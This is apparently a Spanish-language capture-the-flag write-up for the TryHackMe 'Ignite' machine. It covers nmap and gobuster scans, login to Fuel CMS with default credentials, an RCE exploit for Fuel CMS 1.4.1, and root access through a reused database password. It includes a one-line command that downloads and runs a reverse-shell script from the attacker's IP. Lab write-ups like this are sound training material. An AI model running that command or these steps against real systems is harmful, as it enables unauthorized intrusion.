Ignite es una maquina de TryHackMe, se presenta Fuel CMS donde explotamos una vulnerabilidad para obtener acceso mediante una shell y finalmente escalamos privilegios con contraseñas almacenadas.

Room

Titulo	Ignite
Descripción	A new start-up has a few issues with their web server.
Puntos	110
Dificultad	Facil
Maker	DarkStar7471

NMAP

Escaneo de puerto tcp, en el cual nos muestra varios puertos abiertos.

1
2
3
4
5
6
7
8
9

# Nmap 7.80 scan initiated Mon Mar  2 17:50:06 2020 as: nmap -sV -p- --min-rate=1000 -o nmap_rate 10.10.169.161
Nmap scan report for 10.10.169.161
Host is up (0.20s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar  2 17:51:40 2020 -- 1 IP address (1 host up) scanned in 94.48 seconds

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

root@aoiri:~/tryhackme/ignite# gobuster dir -u ignite.thm -w /usr/share/wordlists/dirb/common_nofirst10.txt -q -t 15 -x php,html,txt 
/0 (Status: 200)
/assets (Status: 301)
/home (Status: 200)
/index (Status: 200)
/index.php (Status: 200)
/index.php (Status: 200)
/offline (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)

HTTP

Pagina en el puerto 80, en esta nos muestra los pasos que se deben de seguir para instalar el Fuel CMS.

En una de las instrucciones nos muestra las credenciales para ingresar en el dashboard de este CMS.

Entramos en el CMS con las credenciales.

RCE Fuel CMS 1.4.1

Buscamos un exploit para este CMS encontramos uno para ejecutar comandos, este exploit necesita burpsuite para poder funcionar en el puerto 8080 aunque no es necesario. Ejecutamos un comando y vemos los archivos del sistema.
Fuel CMS 1.4.1

Creamos un archivo bash en el que contiene nuestra shell inversa, descargamos y ejecutamos nuestra shell.

Exploit:

1

cmd:wget 10.8.1.72/shell.sh && bash shell.sh

Obtenemos una shell inversa con el usuario www-data.

Encontramos nuestra flag user.txt en la carpeta /home.

PRIVILEGE ESCALATION

Enumeramos los archivos en la maquina, en los archivos del CMS encontramos las credenciales de la base de datos.

Utilizamos su con la contraseña de root y obtenemos una shell y nuestra flag root.txt.